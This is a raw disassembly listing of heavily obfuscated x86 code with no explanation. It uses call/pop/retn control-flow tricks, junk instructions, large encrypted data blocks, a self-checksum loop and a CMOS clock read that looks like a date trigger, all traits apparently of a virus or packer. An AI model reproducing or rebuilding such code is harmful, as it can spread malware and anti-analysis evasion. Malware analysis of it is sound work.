		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5B00FC	endp

; ---------------------------------------------------------------------------
		push	ebp
		aaa
		dec	edx
		and	eax, [ecx-396E437Bh]
		mov	di, bx
		mov	ecx, 956h
		push	0
		push	ebp
		call	sub_5B0128
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0128	proc near		; CODE XREF: ud2_____:005B0120p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B0128	endp

; ---------------------------------------------------------------------------
		fnsave	byte ptr [eax+2A8DBD89h]
		rol	dword ptr ds:6E2D1DBFh,	1


loc_5B0144:				; CODE XREF: ud2_____:005B0146j
		add	al, 83h
		loope	loc_5B0144
		push	0
		push	ebx
		call	sub_5B0153
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0153	proc near		; CODE XREF: ud2_____:005B014Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B0153	endp

; ---------------------------------------------------------------------------
		db 8Fh
		dd 0FCCF2A27h, 8B50FCEAh, 0D111299Dh, 0BB665F05h, 6AFC0ABEh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 2F2AC355h, 19BFF7FAh, 0B8CD40h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0CB4DC355h, 9D8BD22Bh, 5D11401h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0F51BD8Bh, 6A05D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0DAD0D8C3h
		dd 0ABE8EEh, 19D8BC7h, 0D05D130h, 88h, 0BE9h, 1B77CD00h
		dd 9F4A6B69h, 0A017DF01h, 1021958Bh, 6A05D1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F6103EC3h
		dd 73CF675Bh, 0C8D9D8Bh, 13E905D1h, 1000000h, 0AACB8E08h
		dd 4E4BB99Ah, 0C31DA68Dh, 53F8B7BCh, 8D8BECE2h,	5D11C09h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C3C35343h
		dd 0E5EDBF3Ah, 8B5075F0h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	0DDC35747h, 1F9A08h, 0ADBD8B2Bh, 6A05D111h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0AA1C351h, 0CEDF62F5h, 49BD8388h, 5D100h, 92840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F91926C3h, 8E9h, 59D23800h,	6F2262F6h, 0B89Bh, 0CE80000h
		dd 0A2000000h, 4F30E161h, 3FB7A9F4h, 5B230C8Bh,	0BD8D8DF5h
		dd 6A05D14Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 8190C353h, 0AE9F4h, 0C4510000h
		dd 0E1152109h, 0A0C8599Ch, 11E9h, 2FCEBC00h, 2B1141Eh
		dd 0FA455EE9h, 67FD1555h, 0E1FF93B1h, 0C8ABB66h, 679BD83h
		dd 0F0005D1h, 4EF84h, 9E900h, 0D92C0000h, 27F937EAh, 8378E964h
		dd 0D10679BDh, 840F0105h, 4EFh,	231D9529h, 0BD8305D1h
		dd 5D10679h, 0A6860F03h, 6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0D16FC356h
		dd 2B5142B8h, 0D11D419Dh, 759D8B05h, 0E805D106h, 0Dh, 1C80F15Bh
		dd 5493E39Fh, 8F46C84Fh, 0ED8D2943h, 5B05D11Dh,	52006A60h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 8EC57046h, 9D89A7BEh, 5D11BB5h, 60D98C66h, 0A906E681h
		dd 8166008Dh, 610C60F2h, 6A04E180h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9F8CC352h
		dd 937E7B53h, 0E8606C41h, 5, 8FFB44FDh,	14E95BAEh, 52000000h
		dd 119C59D8h, 5775C874h, 1A639DEh, 80EC63E0h, 618F4481h
		dd 840FC90Ah, 16Eh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0D8C35747h, 0DDF60AF8h, 8B6D881Dh, 31858BDEh
		dd 2905D117h, 0D130158Dh, 71853305h, 6A05D10Eh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0A582C351h, 9E9B50Ch, 0EF000000h, 0F0D3472Ah, 0BFD70EDAh
		dd 50D98B90h, 4307BB66h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 2375ACBFh, 8142BFDAh
		dd 493070D7h, 6A006A29h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0FDCBC355h,	18C268F9h
		dd 8B66AB55h, 240481FAh, 54C9EB3Dh, 0B3DBD8Bh, 95FF05D1h
		dd 5D1111Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0A7C35343h, 0E340CF3Eh,	0F9AFE8C2h, 10E8h, 25DC1400h
		dd 0AF18534h, 7EFA84A5h, 66BD3D1Ch, 6820FE6h, 81000000h
		dd 0B921B0D7h, 85895F35h, 5D48313h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 53C35343h, 3C5C475Dh, 7AD82DAFh
		dd 0DE8B66BBh, 21EE9h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 5EA66C33h, 57DD60E4h
		dd 858BA0F6h, 5D4830Bh,	9BD8B52h, 5F05D119h, 1800C7h, 0F98A0000h
		dd 830FB58Bh, 8B0F05D4h, 9, 0CE8B6660h,	59A2B966h, 9EDB8161h
		dd 8B187EC8h, 0D122A985h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0DE857B90h
		dd 0BBD72ADFh, 68B0F8Bh, 89000000h, 0D1109185h,	6A068905h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 536EC353h, 26B19D8Bh, 9D8B05D1h, 5D11275h
		dd 1731858Bh, 6A05D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 811252C3h, 0CB98E0C3h, 0DAB70F4Ch
		dd 6A044689h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 2E7AC355h, 75C79E82h, 6880Fh
		dd 9D290000h, 5D11675h,	0F88B6650h, 6A243489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 9B16C356h, 782AC62Ch, 0FFDFB70Fh, 0D4830BB5h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0BE00ECE3h, 8A23C21h, 2ACF8099h, 4E8h, 1F03FF00h, 0BA666000h
		dd 7E80FEBh, 9D000000h,	6290A168h, 525011ECh, 585A310Fh
		dd 8B50615Ah, 66042444h, 8BF137BFh, 89F88B00h, 58042444h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 6AC35141h
		dd 71941453h, 8313858Dh, 6A05D4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0B5D503C3h, 0B4CA603Bh
		dd 0B77A90BBh, 6650905Ah, 90497FBBh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 55C35141h, 3542F4D2h, 1D95FF70h
		dd 0F505D111h, 61FBBF0Fh, 0C7FCE780h, 0D1067985h, 305h
		dd 819D8B00h, 8305D113h, 0D48313BDh, 840F0005h,	4Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 1C35040h, 2590623h
		dd 0F7B2401h, 3DE9F9B7h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0D7D1C356h
		dd 2A16AE8h, 0C305079h,	11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0ADC35646h, 0DCD380B6h, 1F399589h, 0BD8305D1h
		dd 5D10679h, 0A2850F03h, 0F8000003h, 8313BD83h,	0F0005D4h
		dd 39484h, 13E86000h, 0DF000000h, 2878487Ah, 2E11D6DBh
		dd 0B6E6AFAFh, 0EDCC923Ah, 0FE93071h, 3A000000h, 71673DCEh
		dd 7652250Ah, 873788A7h, 0F5F69BFh, 0FF61F1BFh,	0D48313B5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0FA21D4DBh, 0E5F1A6E9h, 40D38081h, 2FD95FFh
		dd 816605D1h, 8B7856EBh, 0D48307B5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0F82598F6h, 4AD3C151h, 6C7BE77h, 10001h, 96D8B70Fh
		dd 12E8h, 197F2600h, 3081B480h,	8341E02Fh, 0EDAA746Bh
		dd 664CC72Fh, 505BDF8Bh, 0DA25E7BBh, 85899659h,	5D11839h
		dd 8313B5FFh, 6A05D4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0ECDA1EC3h, 89A27FA9h, 0D10115B5h
		dd 7ABB5705h, 5F648782h, 68195FFh, 830F05D1h, 6, 1BAD9D8Bh
		dd 0B58B05D1h, 5D48307h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0C9C35040h, 12E8h, 0F8E9E400h, 3F97FD85h
		dd 3265AB2Bh, 0B08EDF22h, 0E9ACABA4h, 0Dh, 128CDA3Eh, 545CB6Fh
		dd 0C1F56377h, 0AE95F8Fh, 0F2000000h, 4DF79888h, 0BDD876BDh
		dd 91858B53h, 6A05D117h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 71C7C355h, 3634406Ah
		dd 66F07919h, 8689F98Bh, 0C4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 87C35242h, 0BFE451Ah, 97E38166h
		dd 21958B3Ch, 6A05D110h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 77F5C355h, 0C65DA0D3h
		dd 0BD8B7E39h, 5D12D49h, 0E904C283h, 14h, 60F2FD2Eh, 0B974501Bh
		dd 0F3A15D9Dh, 0BA11CAD7h, 0F9119BE1h, 66205089h, 3492C381h
		dd 9631858Dh, 6A05D4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0AC3C6BC3h, 667328C0h, 89C19FBFh
		dd 0B886h, 2DB8100h, 8B2355D8h,	0D118B99Dh, 6A006A05h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0DA7AC351h, 8DA1AF80h, 0E3816B4Fh, 71477CC6h
		dd 8313B5FFh, 95FF05D4h, 5D131F5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 86C35040h, 800668BCh, 0E950B01Bh
		dd 9, 0B92D76F8h, 56740744h, 24348915h,	0C658529h, 0B5FF05D1h
		dd 5D48313h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0E8C35545h, 2D595FFh, 0D78005D1h, 9EE38069h, 1F7DBD83h
		dd 0F0005D1h, 0E84h, 0BF665000h, 34892A90h, 0B1B50924h
		dd 0FF05D106h, 0D48313B5h, 5995FF05h, 6605D113h, 0FF0B73BFh
		dd 0D48313B5h, 0FF47B305h, 0D11D3995h, 68B0F05h, 89000000h
		dd 0D10D01B5h, 0DBD8305h, 205D107h, 43840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0FDFA1DC3h, 22DD0DA6h, 0A5858B50h, 6605D117h, 0C6F66EBBh
		dd 4AB30000h, 0CE9h, 2DB15900h,	0A9FBBE7Ah, 593BEC2Ch
		dd 5585C72Dh, 5D11Fh, 29000000h, 0D11B35B5h, 0F2EBE905h
		dd 8529FFFFh, 5D11E79h,	11E8C18Bh, 0FB000000h, 7D4656F7h
		dd 1B5AE4C8h, 1A9DA4E2h, 8F501CE3h, 5BFB8B66h, 10E99D8Bh
		dd 858D05D1h, 5D1068Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 7FC35545h, 9543C30Ah,	90212C4Ch, 6E8h
		dd 0BC255400h, 5FD16931h, 0BE850h, 49140000h, 11C6054Ah
		dd 0C730697Eh, 0F98B66A7h, 6A905Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 34DCF5C3h
		dd 4F709B2h, 0AC18D01h,	6AF905D1h, 5D858900h, 6A05D130h
		dd 870F00h, 8D000000h, 0D5705685h, 79B58905h, 8305D132h
		dd 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0F353D7C3h, 0B6FB6DE9h, 5E9B4C5h,	0F1000000h
		dd 51B53BFh, 8E990h, 80D0000h, 0DE3AEA2Ah, 0BF5077E6h
		dd 5F5E6FD7h, 35953190h, 6A05D11Eh, 85B58900h, 6A05D10Eh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 24BF6CBAh, 33B187A9h, 8D89FCB8h,	5D131F9h
		dd 1B3995FFh, 0BD8B05D1h, 5D124C1h, 81CF8D8Dh, 6A05D4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0FF7CAC3h, 2FD7E3Dh,	29D1FF3Dh, 0D123BD95h, 0E9BD8305h
		dd 105D120h, 70850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 4E3976C3h, 50FC026Ah
		dd 10E9h, 19F5AB00h, 0D2CC493Eh, 10B764E5h, 0E55C9E49h
		dd 2404890Eh, 80DA8B66h, 95FFF4D3h, 5D131F5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5CC35040h, 381D4DD7h
		dd 4BF913CCh, 1E499509h, 70E905D1h, 0E800000Dh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D57060h
		or	bx, 8AF9h
		or	edi, [ebp+5D12B21h]
		add	bx, 32A3h
		lea	eax, [ebp+5D472B1h]
		mov	ebx, [ebp+5D11BD1h]
		push	eax
		push	edx
		pusha
		mov	edi, esi
		popa
		pop	edi
		mov	[esp], eax
		push	0
		push	esi
		call	sub_5B0EC0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0EC0	proc near		; CODE XREF: ud2_____:005B0EB8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B0EC0	endp

; ---------------------------------------------------------------------------
		dd 0BF6636B9h, 0FF64335Bh, 35h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 4EBF76FAh
		dd 89A74F79h, 0D1204DB5h, 25896405h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B0F17
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0F17	proc near		; CODE XREF: ud2_____:005B0F0Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B0F17	endp

; ---------------------------------------------------------------------------
		db 7Bh
; ---------------------------------------------------------------------------
		aam	81h
		push	eax
		cmp	ch, ah
		inc	dword ptr [ebp+5D12719h]
		movzx	edi, dx


loc_5B0F36:				; CODE XREF: ud2_____:005B1BC2j
		push	0FFFFFFFFh
		push	0
		push	edx
		call	sub_5B0F43
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0F43	proc near		; CODE XREF: ud2_____:005B0F3Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5B0F43	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:0BBC41B24h
		db	66h
		add	al, 0D3h
		lahf
		push	dword ptr [ebp+5D115CDh]
		or	di, 4F6h
		clc
		call	dword ptr [ebp+5D11279h]
		jmp	loc_5B10AD
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+5D106B9h]
		mov	al, 0
		jmp	loc_5B0F93
; ---------------------------------------------------------------------------
		dd 8B9C2BB2h, 2D2DA2EBh, 0A943F7DEh, 0E5106324h
		db 0BAh, 1Dh, 0Fh
; ---------------------------------------------------------------------------


loc_5B0F93:				; CODE XREF: ud2_____:005B0F7Bj
		out	70h, al		; CMOS Memory:
					; used by real-time clock
		mov	bx, ax
		in	al, 71h		; CMOS Memory
		mov	edi, [ebp+5D12061h]
		cmp	al, 61h
		jnb	loc_5B10AD
		mov	[ebp+5D13221h],	eax
		movzx	ecx, al
		cmc
		jmp	loc_5B0FC6
; ---------------------------------------------------------------------------
		db 19h
		dd 88B479E5h, 5082E01Ah, 0F2A5B0F5h
		db 38h,	3Bh
; ---------------------------------------------------------------------------


loc_5B0FC6:				; CODE XREF: ud2_____:005B0FB2j
		mov	edx, 6
		jge	loc_5B0FD8
		jno	loc_5B0FD8
		clc


loc_5B0FD8:				; CODE XREF: ud2_____:005B0FCBj
					; ud2_____:005B0FD1j
		mov	eax, ecx
		and	edi, [ebp+5D11E91h]
		shr	eax, 4
		mov	bx, 3967h
		jnb	loc_5B0FF8
		jmp	loc_5B0FF8
; ---------------------------------------------------------------------------
		dw 0CDF8h
		dd 68F324B9h
; ---------------------------------------------------------------------------


loc_5B0FF8:				; CODE XREF: ud2_____:005B0FE7j
					; ud2_____:005B0FEDj
		mul	dx
		xor	[ebp+5D12625h],	esi
		sub	ecx, eax
		push	edi
		or	[ebp+5D126E9h],	edx
		pop	edi
		mov	edx, ecx
		mov	[ebp+5D11D71h],	edi
		jmp	loc_5B101E
; ---------------------------------------------------------------------------
		movsx	edi, di
		movzx	ebx, cx


loc_5B101E:				; CODE XREF: ud2_____:005B1013j
		mov	eax, [ebp+5D12DD5h]
		xor	[ebp+5D1200Dh],	edx
		add	eax, 7
		movzx	ebx, dx
		add	eax, 0
		mov	[ebp+5D121A1h],	ebx
		mov	bx, 556Fh
		cmp	edx, eax
		jnb	loc_5B105C
		or	[ebp+5D13089h],	esi
		jmp	loc_5B10AD
; ---------------------------------------------------------------------------
		dd 48A0F51h, 66000000h,	5F7642BFh
; ---------------------------------------------------------------------------


loc_5B105C:				; CODE XREF: ud2_____:005B103Fj
		mov	ecx, [ebp+5D11D6Dh]
		or	[ebp+5D11CC9h],	ebx
		mov	ebx, [ebp+5D11DADh]
		and	ecx, 1
		jz	loc_5B10AD
		mov	bh, 0E6h
		and	dword ptr [ebp+5D11D6Dh], 0FFFFFFFEh
		mov	bx, 0C51Dh
		jmp	loc_5B108E
; ---------------------------------------------------------------------------
		db 7Eh,	4Ah, 0B4h
; ---------------------------------------------------------------------------
		inc	ebx
		xchg	eax, esp


loc_5B108E:				; CODE XREF: ud2_____:005B1084j
		mov	[ebp+5D12DD5h],	edx
		jp	loc_5B10A0
		mov	ebx, [ebp+5D10B19h]


loc_5B10A0:				; CODE XREF: ud2_____:005B1094j
		ja	loc_5B10A8
		mov	bh, 0B4h


loc_5B10A8:				; CODE XREF: ud2_____:loc_5B10A0j
		jmp	$+5


loc_5B10AD:				; CODE XREF: ud2_____:005B0F6Ej
					; ud2_____:005B0FA2j ...
		lea	esi, [ebp+5D4DAD5h]
		sbb	edi, 5B29A356h
		push	0
		add	[ebp+5D109CDh],	ebx
		call	dword ptr [ebp+5D12459h]
		sub	[ebp+5D119D5h],	esi
		pusha
		mov	ebx, [ebp+5D11D55h]
		call	sub_5B10EB
		sbb	[eax-3Fh], ah
		int	3		; Trap to Debugger
		retf	0BA78h
; ---------------------------------------------------------------------------
		dd 0A5C05FB2h, 0B5E78AC2h
		db 55h,	46h, 0B2h

; =============== S U B	R O U T	I N E =======================================



sub_5B10EB	proc near		; CODE XREF: ud2_____:005B10D4p
		adc	cx, 0D16Bh
		pop	esi
		popa
		mov	ecx, 86Ah
		mov	ebx, 5C830D99h
		and	ecx, 0FFFFFFFCh
		jg	loc_5B110B
		mov	edi, [ebp+5D12391h]


loc_5B110B:				; CODE XREF: sub_5B10EB+14j
		cld
		push	0
		push	esi
		call	sub_5B1117
		and	[esi-3Dh], bl
sub_5B10EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B1117	proc near		; CODE XREF: sub_5B10EB+24p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5B1117	endp

; ---------------------------------------------------------------------------
		rol	byte ptr [edi+120E2F3Eh], 1
		or	[edi], edx
		jz	$+6
		mov	[ebp+5D11241h],	eax
		mov	eax, 0
		sub	bl, 0B8h
		mov	ebx, [ebp+5D120ADh]
		sub	edx, edx
		mov	ebx, [ebp+5D125E9h]


loc_5B1151:				; CODE XREF: ud2_____:005B115Bj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5B1151
		push	0
		push	edx
		call	sub_5B1168
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1168	proc near		; CODE XREF: ud2_____:005B1160p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5B1168	endp

; ---------------------------------------------------------------------------
		jmp	short near ptr dword_5B11F8
; ---------------------------------------------------------------------------
		cmp	dword ptr [esi+66h], 0FFFFFFBBh
		test	eax, 50006AE3h
		call	sub_5B118B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B118B	proc near		; CODE XREF: ud2_____:005B1183p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5B118B	endp

; ---------------------------------------------------------------------------
		db 6Ah
; ---------------------------------------------------------------------------
		or	eax, 88h
		clc
		mov	edx, [ebp+5D11021h]
		push	0
		push	eax
		call	sub_5B11B3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B11B3	proc near		; CODE XREF: ud2_____:005B11ABp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5B11B3	endp

; ---------------------------------------------------------------------------
		db 0D3h
		dd 0A3C76CE2h, 523BDCE2h, 31F19D8Bh, 8B5F05D1h,	0D11C098Dh
		dd 81665205h, 5F7BC6E3h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E853h
dword_5B11F8	dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
					; CODE XREF: ud2_____:005B1178j
		dd 81DCD0C3h, 6AA4C188h, 1E719D89h, 0B70F05D1h,	49BD83FAh
		dd 5D100h, 7A840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 190424h, 56460000h, 0D309B6C3h, 80DEB772h
		dd 816697F3h, 0B8277CEFh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5B1263
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1263	proc near		; CODE XREF: ud2_____:005B125Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5B1263	endp

; ---------------------------------------------------------------------------
		retn	8D3Ch
; ---------------------------------------------------------------------------
		dw 0BD8Dh
		dd 8905D14Ch, 0D12A1D8Dh, 6AE1FF05h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 66EDC351h
		dd 0B1E1D381h, 679BD83h, 0F0005D1h, 4AE84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 852E070Eh, 3FC9C013h, 83CDB36Dh, 0D10679BDh,	840F0105h
		dd 496h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	12C35040h, 679BD83h, 0F0305D1h,	43786h,	0A9BD3100h
		dd 6005D131h, 17C98529h, 0B70F05D1h, 0D98C66DBh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0EAC35646h, 6A04E180h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 78DC350h,	68A0Fh,	8D310000h, 5D11FDDh, 7860Fh
		dd 66500000h, 0CEE4C781h, 0C98D895Bh, 0A05D115h, 73840FC9h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0BDB3C357h, 2D60D44Ch,	31858B73h
		dd 6A05D117h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 2332C352h, 0CA21C4A9h,	0BF9C3CBBh
		dd 1C72C0AAh, 0E718533h, 6A05D1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 821B3AC3h, 2EB42709h
		dd 663D3854h, 0B763C381h, 1FC58D89h, 9D8B05D1h,	5D10B85h
		dd 0DE950h, 2D7B0000h, 6D95AAECh, 9D0C0DEFh, 89BEC0F2h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 6AF5CFC3h, 58BB6600h, 0D19D8B7Ah,	6805D123h
		dd 922A5459h, 0A6240481h, 0E86DF4AFh, 14h, 294055B7h, 9821B3Ah
		dd 542EB427h, 81213D38h, 0FFC5831Bh, 1129BD8Bh,	0FF5B05D1h
		dd 0D1111D95h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0BDBD0392h, 0E905D12Dh
		dd 6, 0EBEB1290h, 8589D242h, 5D48313h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 70C35646h, 9550E2CFh, 0E8A2DC5Bh
		dd 5E8h, 74D7100h, 890FE8E7h, 6, 27759589h, 0E95B05D1h
		dd 1A5h, 858BFE8Bh, 5D4830Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 61C35141h, 62B871E5h, 0BF38B644h
		dd 0C765B3h, 18h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	24C35545h, 604850DFh, 103D9D33h, 0F38B05D1h, 0BE861h
		dd 0ADD80000h, 4C1A1CCDh, 9FB4662Bh, 7E9CBh, 53740000h
		dd 0D3AB09FEh, 0B58B5F14h, 5D4830Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 41C35343h, 929CC49Eh, 8BAB764Eh
		dd 0D122A985h, 0F068905h, 178Ch, 12E900h, 0DEA90000h, 7C077CDBh
		dd 46046BB3h, 90C39103h, 33057974h, 1731858Bh, 6A05D1h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 8E0AA0C3h, 0A7380EF5h, 8B661EAAh, 44689D8h, 68D0Fh
		dd 0DB810000h, 46D572FBh, 505B5096h, 238E0Fh, 52500000h
		dd 917DBDBBh, 0E8310F48h, 12h, 3EDF125Ch, 7E7AED37h, 0E5B96C9Ch
		dd 3B2F11D9h, 5A5BA832h, 9D899658h, 5D10A8Dh, 830BB5FFh
		dd 0BD8B05D4h, 5D12519h, 0C2E78968h, 81D88BDCh,	1C762404h
		dd 8529235Ch, 5D11955h,	6FFBC781h, 858D60C8h, 5D48313h
		dd 2402BB66h, 50F88A90h, 3A22BF66h, 0A99D0B90h,	0FF05D108h
		dd 0D1111D95h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 4299AF88h, 8BD88B66h
		dd 0D106F1BDh, 6A6105h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 53BDD8C3h, 27EEB391h, 1B659D29h
		dd 85C705D1h, 5D10679h,	3, 0E855006Ah, 3, 5DC35D20h, 4246C89h
